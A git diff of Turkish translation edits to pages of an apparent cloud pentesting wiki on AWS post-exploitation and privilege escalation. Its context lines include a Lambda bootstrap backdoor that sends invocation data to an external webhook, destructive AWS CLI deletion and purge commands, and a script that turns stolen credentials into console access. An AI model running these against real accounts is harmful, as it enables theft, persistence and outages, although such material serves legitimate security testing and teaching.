- Invoke-id, meşru **`bootstrap.py`** sürecinin yığınından [**inspect**](https://docs.python.org/3/library/inspect.html) python modülünü kullanarak elde edilebilir (burada [önerildiği gibi](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) veya sadece tekrar **`/2018-06-01/runtime/invocation/next`** adresine istekte bulunarak elde edilebilir (burada [önerildiği gibi](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
-- Bir sonraki çağrıları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın.
-- Gizlilik amacıyla, lambda çağrı parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
-- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda çağrısından çalıştırmak yeterlidir.
+- Bir sonraki invocation'ları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın.
+- Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
+- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation'ından çalıştırmak yeterlidir.
### Saldırı Adımları
1. Bir **RCE** açığı bulun.
2. **Kötü niyetli** bir **bootstrap** oluşturun (örneğin, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)).
-3. **Kötü niyetli bootstrap'ı** **çalıştırın**.
+3. Kötü niyetli bootstrap'ı **çalıştırın**.
Bu eylemleri kolayca gerçekleştirebilirsiniz:
```bash
@@ -52,7 +52,7 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
exec(new_runtime)
EOF
```
-Daha fazla bilgi için [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) adresini kontrol edin.
+Daha fazla bilgi için kontrol edin [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
## Referanslar
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index f04764dd2..09a2b777f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -14,14 +14,14 @@ Daha fazla bilgi için kontrol edin:
Eğer DB anlık görüntülerine sahipse, **eski anlık görüntülerde şu anda silinmiş hassas bilgileri bulma** şansınız olabilir. **Anlık görüntüyü** **yeni bir veritabanında** geri yükleyin ve kontrol edin.
-### Örnek Anlık Görüntülerini Geri Yükle
+### Instance Anlık Görüntülerini Geri Yükle
-Örnek anlık görüntüleri, zaten silinmiş örneklerin veya mevcut örnekte silinmiş hassas bilgilerin **hassas bilgilerini** içerebilir. **Anlık görüntülerden yeni örnekler oluşturun** ve kontrol edin.\
-Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 örneği adımlarını izleyin.
+Instance anlık görüntüleri, zaten silinmiş instance'ların **hassas bilgilerini** veya mevcut instance'da silinmiş hassas bilgileri içerebilir. **Anlık görüntülerden yeni instance'lar oluşturun** ve kontrol edin.\
+Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 instance'ının adımlarını izleyin.
### Hassas Bilgilere Erişim
-Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerini kontrol edin:
+Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerine göz atın:
{{#ref}}
../aws-privilege-escalation/aws-lightsail-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index bb8c4905c..2d49a1c30 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Organizasyonlar Sonrası Sömürü
+# AWS - Organizasyonlar Sonrası İstismar
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ AWS Organizasyonları hakkında daha fazla bilgi için kontrol edin:
../aws-services/aws-organizations-enum.md
{{#endref}}
-### Org'dan Ayrılın
+### Organizasyonu Terketmek
```bash
aws organizations deregister-account --account-id --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 4ed7b2d5c..6f1c6d242 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
-Eğer saldırganın yeterli izinleri varsa, bir **DB'yi herkese açık erişilebilir** hale getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık erişilebilir bir DB oluşturabilir.
+Eğer saldırganın yeterli izinleri varsa, bir **DB'yi herkese açık hale** getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık bir DB oluşturabilir.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
-Bu izinlere sahip bir saldırgan **mevcut RDS örneklerini DoS yapabilir**.
+Bu izinlere sahip bir saldırgan **mevcut RDS örneklerine DoS saldırısı** yapabilir.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -70,7 +70,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
### `rds:StartExportTask`
-> [!NOTE]
+> [!NOT]
> TODO: Test
Bu izne sahip bir saldırgan, **bir RDS örneği anlık görüntüsünü bir S3 kovasına dışa aktarabilir**. Saldırgan, hedef S3 kovası üzerinde kontrol sahibi ise, dışa aktarılan anlık görüntüdeki hassas verilere erişebilir.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index a4a78fe07..3225a8aca 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -12,11 +12,11 @@ Daha fazla bilgi için kontrol edin:
### Gizli Bilgileri Okuma
-**gizli bilgiler kendileri hassas bilgilerdir**, [onları nasıl okuyacağınızı öğrenmek için privesc sayfasını kontrol edin](../aws-privilege-escalation/aws-secrets-manager-privesc.md).
+**gizli bilgiler kendileri hassas bilgilerdir**, [privesc sayfasını kontrol edin](../aws-privilege-escalation/aws-secrets-manager-privesc.md) nasıl okunacağını öğrenmek için.
### DoS Gizli Değerini Değiştirme
-Gizli değeri değiştirerek, **o değere bağlı olan tüm sistemleri DoS yapabilirsiniz.**
+Gizli değeri değiştirerek **o değere bağlı tüm sistemleri DoS yapabilirsiniz.**
> [!WARNING]
> Önceki değerlerin de saklandığını unutmayın, bu nedenle önceki değere geri dönmek kolaydır.
@@ -26,7 +26,7 @@ aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
```
-### DoS KMS anahtarını değiştirin
+### DoS KMS anahtarını değiştir
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index 2cc01812a..06d7687ca 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -17,7 +17,7 @@ Bir e-posta gönder.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
-Hala test edilecek.
+Henüz test edilmedi.
### `ses:SendRawEmail`
@@ -25,15 +25,13 @@ Bir e-posta gönder.
```bash
aws ses send-raw-email --raw-message file://message.json
```
-Hala test edilecek.
-
### `ses:SendTemplatedEmail`
-Bir şablona dayalı olarak e-posta gönderin.
+Bir şablona dayalı bir e-posta gönderin.
```bash
aws ses send-templated-email --source --destination --template
```
-Hala test edilecek.
+Henüz test edilmedi.
### `ses:SendBulkTemplatedEmail`
@@ -51,7 +49,7 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries
```
### `ses:SendBounce`
-Alınan bir e-posta üzerinden bir **bounce e-postası** gönderin (e-postanın alınamadığını belirtir). Bu işlem yalnızca **e-postanın alınmasından sonraki 24 saat içinde** yapılabilir.
+Bir **bounce email** gönderin, alınan bir e-posta üzerinden (e-postanın alınamadığını belirten). Bu yalnızca **e-postayı aldıktan sonra 24 saat içinde** yapılabilir.
```bash
aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index dccc4482f..b1f684b6f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için:
### Mesajları Kesintiye Uğratma
-Birçok durumda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir.
+Bazı durumlarda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir.
### `sns:DeleteTopic`
@@ -36,7 +36,7 @@ Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir, bu da perform
```bash
aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value
```
-**Potansiyel Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir.
+**Olası Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir.
### `sns:Subscribe` , `sns:Unsubscribe`
@@ -49,12 +49,12 @@ aws sns unsubscribe --subscription-arn
### `sns:AddPermission` , `sns:RemovePermission`
-Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konudan yararlanan uygulamaların normal işleyişinde kesintilere neden olabilir.
+Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konuyu kullanan uygulamaların normal işleyişinde kesintilere neden olabilir.
```css
aws sns add-permission --topic-arn --label --aws-account-id --action-name
aws sns remove-permission --topic-arn --label
```
-**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesaj ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
+**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
### `sns:TagResource` , `sns:UntagResource`
@@ -63,6 +63,6 @@ Bir saldırgan, SNS kaynaklarından etiket ekleyebilir, değiştirebilir veya ka
aws sns tag-resource --resource-arn --tags Key=,Value=
aws sns untag-resource --resource-arn --tag-keys
```
-**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
+**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index 764e90d25..1b3fe9292 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -17,21 +17,21 @@ Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar göndereb
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
```
-**Potansiyel Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
+**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir.
+Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir.
```bash
aws sqs receive-message --queue-url
aws sqs delete-message --queue-url --receipt-handle
aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout
```
-**Potansiyel Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi.
+**Olası Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi.
### `sqs:DeleteQueue`
-Bir saldırgan, tüm SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler.
+Bir saldırgan, tüm bir SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler.
```arduino
Copy codeaws sqs delete-queue --queue-url
```
@@ -43,7 +43,7 @@ Bir saldırgan, bir SQS kuyruğundaki tüm mesajları temizleyebilir, bu da mesa
```arduino
Copy codeaws sqs purge-queue --queue-url
```
-**Potansiyel Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi.
+**Olası Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi.
### `sqs:SetQueueAttributes`
@@ -51,16 +51,16 @@ Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir, bu da perfo
```arduino
aws sqs set-queue-attributes --queue-url --attributes
```
-**Potansiyel Etki**: Yanlış yapılandırmaların performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açması.
+**Olası Etki**: Yanlış yapılandırmalar, performans düşüklüğüne, güvenlik sorunlarına veya azalmış kullanılabilirliğe yol açabilir.
### `sqs:TagQueue` , `sqs:UntagQueue`
-Bir saldırgan, SQS kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
+Bir saldırgan, SQS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
```bash
aws sqs tag-queue --queue-url --tags Key=,Value=
aws sqs untag-queue --queue-url --tag-keys
```
-**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
+**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
### `sqs:RemovePermission`
@@ -68,6 +68,6 @@ Bir saldırgan, SQS kuyruğuna bağlı politikaları kaldırarak meşru kullanı
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url --label
```
-**Potansiyel Etki**: Yetkisiz izin kaldırılması nedeniyle kuyruğa bağımlı uygulamaların normal işleyişinin kesintiye uğraması.
+**Potansiyel Etki**: Kuyruğa bağımlı uygulamaların normal işleyişinin bozulması, yetkisiz izin kaldırma nedeniyle.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
index 2e9f25145..55fe48134 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
-Bu izinler, izinleri kesintiye uğratmak için kullanılabilir:
+Bu izinler, izinleri bozmak için kullanılabilir:
```bash
aws sso-admin delete-permission-set --instance-arn --permission-set-arn
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 15962d77d..173affca9 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn
### `states:UpdateMapRun`
-Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışması başarısız olur, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir.
+Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışmasının başarısız olmasına neden olabilir, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
@@ -52,7 +52,7 @@ Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütülmesini du
```bash
aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
```
-- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraksama ve potansiyel veri bozulması.
+- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraklama ve potansiyel veri bozulması.
### `states:TagResource`, `states:UntagResource`
@@ -61,6 +61,6 @@ Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştir
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
```
-**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
+**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 6bc6ace43..7d0b710b8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -12,8 +12,8 @@ Daha fazla bilgi için:
### IAM Kimlik Bilgilerinden Konsola
-Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, **web konsoluna erişim sağlamayı** aşağıdaki araçları kullanarak düşünebilirsiniz.\
-Kullanıcının/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın.
+Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, aşağıdaki araçları kullanarak **web konsoluna erişmekle** ilgileniyor olabilirsiniz.\
+Kullanıcı/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın.
#### Özel script
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
#### aws_consoler
-**Web konsol bağlantısı oluşturabilirsiniz** [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
+Bir **web konsol bağlantısı** oluşturabilirsiniz [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
@@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console
#### aws-vault
-[**aws-vault**](https://github.com/99designs/aws-vault) AWS kimlik bilgilerini güvenli bir şekilde depolamak ve erişmek için bir geliştirme ortamında kullanılan bir araçtır.
+[**aws-vault**](https://github.com/99designs/aws-vault), bir geliştirme ortamında AWS kimlik bilgilerini güvenli bir şekilde saklamak ve erişmek için kullanılan bir araçtır.
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **Python'dan User-Agent kısıtlamalarını aşma**
-Eğer kullanılan **user agent'a dayalı olarak belirli eylemleri gerçekleştirme kısıtlaması** varsa (örneğin, user agent'a dayalı olarak python boto3 kütüphanesinin kullanımını kısıtlama) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkündür veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz**:
+Eğer kullanılan **user agent'a dayalı olarak belirli eylemleri gerçekleştirme kısıtlaması** varsa (örneğin, user agent'a dayalı olarak python boto3 kütüphanesinin kullanımını kısıtlama) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkündür veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz:**
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
index 7df74395f..dc913ce46 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - VPN Post Exploitation
+# AWS - VPN Sonrası Sömürü
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index dfb6274ce..cacec9f5f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -4,14 +4,14 @@
## AWS Yetki Yükseltme
-AWS'de yetkilerinizi yükseltmenin yolu, diğer roller/kullanıcılar/gruplar yetkilerine erişebilecek kadar yeterli izne sahip olmaktır. Yükseltmeleri zincirleme yaparak organizasyon üzerinde yönetici erişimi elde edebilirsiniz.
+AWS'de yetkilerinizi yükseltmenin yolu, diğer rol/kullanıcı/grup yetkilerine erişebilecek kadar izne sahip olmaktır. Yönetim erişimine sahip olana kadar yükseltmeleri zincirleme.
> [!WARNING]
-> AWS'nin **yüzlerce** (binlerce olmasa da) **izin** verebileceği bir varlık vardır. Bu kitapta, **yetki yükseltmek için kötüye kullanabileceğiniz** **bildiğim tüm izinleri** bulabilirsiniz, ancak burada belirtilmeyen **bir yol biliyorsanız**, **lütfen paylaşın**.
+> AWS'nin bir varlığa verilebilecek **yüzlerce** (binlerce değilse) **izin** vardır. Bu kitapta, **yetki yükseltmek için kötüye kullanabileceğiniz** **bildiğim tüm izinleri** bulabilirsiniz, ancak burada belirtilmeyen **bir yol biliyorsanız**, **lütfen paylaşın**.
> [!CAUTION]
-> Eğer bir IAM politikası `"Effect": "Allow"` ve `"NotAction": "Someaction"` içeriyorsa ve bu bir **kaynağı** gösteriyorsa... bu, **izin verilen varlığın** **belirtilen eylem dışında HER ŞEYİ yapma iznine sahip olduğu** anlamına gelir.\
-> Bu nedenle, bu durumun **bir varlığa ayrıcalıklı izinler vermenin** başka bir yolu olduğunu unutmayın.
+> Eğer bir IAM politikası `"Effect": "Allow"` ve `"NotAction": "Someaction"` içeriyorsa ve bu bir **kaynağı** gösteriyorsa... bu, **izin verilen varlığın** belirtilen eylem dışında **HER ŞEYİ yapma iznine sahip olduğu** anlamına gelir.\
+> Bu nedenle, bu durumun bir varlığa **ayrıcalıklı izinler vermenin** başka bir yolu olduğunu unutmayın.
**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Orada, yetkilerinizi yükseltmenizi sağlayacak izinleri bulabileceksiniz.**
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index c0c47652c..0df733896 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### `apigateway:POST`
-Bu izinle, yapılandırılmış API'lerin (bölge başına) API anahtarlarını oluşturabilirsiniz.
+Bu izinle, yapılandırılmış API'lerin API anahtarlarını (bölge başına) oluşturabilirsiniz.
```bash
aws --region apigateway create-api-key
```
@@ -20,16 +20,16 @@ aws --region apigateway create-api-key
### `apigateway:GET`
-Bu izinle, yapılandırılmış API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz.
+Bu izinle, yapılandırılan API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz.
```bash
aws --region apigateway get-api-keys
aws --region apigateway get-api-key --api-key --include-value
```
-**Potansiyel Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz.
+**Olası Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) mümkün hale gelir.
+Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) imkanı vardır.
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -56,7 +56,7 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potansiyel Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim.
+**Olası Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim.
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
@@ -79,10 +79,10 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateVpcLink`
-> [!NOTE]
+> [!NOT]
> Test edilmesi gerekiyor
-`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirebilir**.
